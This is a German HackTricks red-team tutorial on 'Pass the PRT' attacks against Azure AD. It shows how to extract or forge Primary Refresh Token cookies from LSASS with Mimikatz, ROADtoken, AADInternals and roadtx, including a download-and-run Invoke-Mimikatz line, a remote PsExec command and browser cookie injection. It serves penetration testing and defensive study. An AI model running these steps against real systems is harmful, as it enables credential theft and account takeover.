Az - Pass the PRT

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Was ist ein PRT

pageAz - Primary Refresh Token (PRT)

Überprüfen Sie, ob Sie einen PRT haben

Dsregcmd.exe /status

Im Abschnitt SSO-Status sollte AzureAdPrt auf YES gesetzt sein.

Im selben Output können Sie auch sehen, ob das Gerät mit Azure verbunden ist (im Feld AzureAdJoined):

Das PRT-Cookie wird tatsächlich x-ms-RefreshTokenCredential genannt und ist ein JSON Web Token (JWT). Ein JWT enthält 3 Teile, den Header, den Payload und die Signatur, die durch einen . getrennt sind und alle url-sicher base64-codiert sind. Ein typisches PRT-Cookie enthält den folgenden Header und Body:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

Der tatsächliche Primary Refresh Token (PRT) ist im refresh_token enthalten, das von einem von Azure AD kontrollierten Schlüssel verschlüsselt ist, wodurch sein Inhalt für uns undurchsichtig und nicht entschlüsselbar ist. Das Feld is_primary kennzeichnet die Einbettung des primären Refresh Tokens in diesem Token. Um sicherzustellen, dass das Cookie an die spezifische Anmeldesitzung gebunden bleibt, von der es beabsichtigt war, wird der request_nonce von der Seite logon.microsoftonline.com übertragen.

Der LSASS-Prozess sendet den KDF-Kontext an den TPM, und der TPM verwendet den Sitzungsschlüssel (der beim Registrieren des Geräts in AzureAD gesammelt und im TPM gespeichert wurde) und den vorherigen Kontext, um einen Schlüssel abzuleiten, und dieser abgeleitete Schlüssel wird verwendet, um das PRT-Cookie (JWT) zu signieren.

Der KDF-Kontext ist ein einmaliges Kennwort von AzureAD und dem PRT, das ein JWT gemischt mit einem Kontext (Zufallsbytes) erstellt.

Daher ist es selbst wenn der PTR nicht extrahiert werden kann, da er sich im TPM befindet, möglich, LSASS zu missbrauchen, um abgeleitete Schlüssel aus neuen Kontexten anzufordern und die generierten Schlüssel zum Signieren von Cookies zu verwenden.

Szenarien für den Missbrauch von PRT

Als regulärer Benutzer ist es möglich, die Nutzung des PRT anzufordern, indem man LSASS um SSO-Daten bittet. Dies kann wie bei nativen Apps erfolgen, die Token vom Web Account Manager (Token-Broker) anfordern. WAM leitet die Anfrage an LSASS weiter, das Token unter Verwendung einer signierten PRT-Behauptung anfordert. Oder es kann mit browserbasierten (Web-)Flows erfolgen, bei denen ein PRT-Cookie als Header verwendet wird, um Anfragen an Azure AS-Anmeldeseiten zu authentifizieren.

Als SYSTEM könnten Sie den PRT stehlen, wenn er nicht durch TPM geschützt ist, oder mit PRT-Schlüsseln in LSASS interagieren, indem Sie Krypto-APIs verwenden.

Beispiele für Pass-the-PRT-Angriffe

Angriff - ROADtoken

Für weitere Informationen zu dieser Methode überprüfen Sie diesen Beitrag. ROADtoken wird BrowserCore.exe aus dem richtigen Verzeichnis ausführen und es verwenden, um ein PRT-Cookie zu erhalten. Dieses Cookie kann dann mit ROADtools verwendet werden, um sich zu authentifizieren und einen persistente Refresh-Token zu erhalten.

Um ein gültiges PRT-Cookie zu generieren, benötigen Sie zunächst ein einmaliges Kennwort. Sie können dies mit:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Oder mit roadrecon:

roadrecon auth prt-init

Dann können Sie roadtoken verwenden, um einen neuen PRT zu erhalten (führen Sie das Tool aus einem Prozess des Benutzers aus, um anzugreifen):

.\ROADtoken.exe <nonce>

Weitergabe des PRT

Die Weitergabe des Primary Refresh Token (PRT) kann verwendet werden, um von einem kompromittierten Cloud-Konto auf lokale Ressourcen zuzugreifen. Dies kann durch das Extrahieren des PRT aus dem Cloud-Konto und dessen Verwendung auf einem lokalen System erfolgen.

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Dann können Sie das generierte Cookie verwenden, um Token zu generieren, um sich über Azure AD Graph oder Microsoft Graph anzumelden:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Angriff - Verwendung von roadrecon

Angriff - Verwendung von AADInternals und geleaktem PTR

Get-AADIntUserPRTToken erhält den PRT-Token des Benutzers vom Azure AD- oder Hybrid-verbundenen Computer. Verwendet BrowserCore.exe, um den PRT-Token zu erhalten.

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

Oder wenn Sie die Werte von Mimikatz haben, können Sie auch AADInternals verwenden, um ein Token zu generieren:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

Gehe zu https://login.microsoftonline.com, lösche alle Cookies für login.microsoftonline.com und gib ein neues Cookie ein.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Dann gehe zu https://portal.azure.com

Der Rest sollte die Standardeinstellungen sein. Stellen Sie sicher, dass Sie die Seite aktualisieren können und das Cookie nicht verschwindet. Wenn es verschwindet, haben Sie möglicherweise einen Fehler gemacht und müssen den Vorgang erneut durchführen. Wenn nicht, sollten Sie in Ordnung sein.

Angriff - Mimikatz

Schritte

  1. Das PRT (Primary Refresh Token) wird aus LSASS (Local Security Authority Subsystem Service) extrahiert und für die spätere Verwendung gespeichert.

  2. Als Nächstes wird der Sitzungsschlüssel extrahiert. Da dieser Schlüssel zunächst ausgegeben und dann vom lokalen Gerät erneut verschlüsselt wird, ist eine Entschlüsselung mithilfe eines DPAPI-Meisterschlüssels erforderlich. Detaillierte Informationen zum DPAPI (Data Protection API) finden Sie in diesen Ressourcen: HackTricks und für ein Verständnis seiner Anwendung verweisen Sie auf den Pass-the-cookie-Angriff.

  3. Nach der Entschlüsselung des Sitzungsschlüssels werden der abgeleitete Schlüssel und der Kontext für das PRT erhalten. Diese sind entscheidend für die Erstellung des PRT-Cookies. Insbesondere wird der abgeleitete Schlüssel verwendet, um das JWT (JSON Web Token) zu signieren, das das Cookie bildet. Eine umfassende Erklärung dieses Prozesses wurde von Dirk-jan bereitgestellt und ist hier zugänglich: hier.

Beachten Sie, dass, wenn sich das PRT im TPM befindet und nicht in lsass, mimikatz es nicht extrahieren kann. Es wird jedoch möglich sein, einen Schlüssel aus einem abgeleiteten Schlüssel aus einem Kontext aus dem TPM zu erhalten und ihn zum Signieren eines Cookies zu verwenden (Option 3).

Eine ausführliche Erklärung des durchgeführten Prozesses zur Extraktion dieser Details finden Sie hier: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

Dies wird nach den im August 2021 vorgenommenen Korrekturen nicht mehr genau funktionieren, um die PRT-Token anderer Benutzer zu erhalten, da nur der Benutzer sein PRT erhalten kann (ein lokaler Administrator kann nicht auf die PRTs anderer Benutzer zugreifen), aber auf seinen eigenen zugreifen kann.

Sie können mimikatz verwenden, um das PRT zu extrahieren:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

Kopieren Sie den Teil, der als Prt bezeichnet ist, und speichern Sie ihn. Extrahieren Sie auch den Sitzungsschlüssel (den KeyValue des Feldes ProofOfPossesionKey), den Sie unten hervorgehoben sehen können. Dies ist verschlüsselt, und wir müssen unsere DPAPI-Meisterkeys verwenden, um ihn zu entschlüsseln.

Wenn Sie keine PRT-Daten sehen, könnte es sein, dass Sie keine PRTs haben, weil Ihr Gerät nicht mit Azure AD verbunden ist, oder es könnte sein, dass Sie eine alte Version von Windows 10 verwenden.

Um den Sitzungsschlüssel zu entschlüsseln, müssen Sie Ihre Berechtigungen auf SYSTEM erhöhen, um im Kontext des Computers ausgeführt zu werden und den DPAPI-Meisterkey zur Entschlüsselung zu verwenden. Sie können die folgenden Befehle verwenden, um dies zu tun:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

Option 1 - Vollständiges Mimikatz

  • Jetzt möchten Sie sowohl den Kontextwert kopieren:

  • Als auch den abgeleiteten Schlüsselwert:

  • Schließlich können Sie all diese Informationen verwenden, um PRT-Cookies zu generieren:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Der Rest sollte standardmäßig sein. Stelle sicher, dass du die Seite aktualisieren kannst und das Cookie nicht verschwindet. Wenn es verschwindet, hast du möglicherweise einen Fehler gemacht und musst den Vorgang erneut durchführen. Wenn es nicht verschwindet, solltest du in Ordnung sein.

Option 2 - roadrecon mit PTR

  • Erneuere zuerst den PRT, der in roadtx.prt gespeichert wird:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Jetzt können wir Token anfordern, indem wir den interaktiven Browser mit roadtx browserprtauth verwenden. Wenn wir den Befehl roadtx describe verwenden, sehen wir, dass das Zugriffstoken eine MFA-Behauptung enthält, da der PRT, den ich in diesem Fall verwendet habe, auch eine MFA-Behauptung hatte.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Option 3 - roadrecon mit abgeleiteten Schlüsseln

Nachdem der Kontext und der abgeleitete Schlüssel von mimikatz abgerufen wurden, ist es möglich, roadrecon zu verwenden, um ein neues signiertes Cookie zu generieren:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated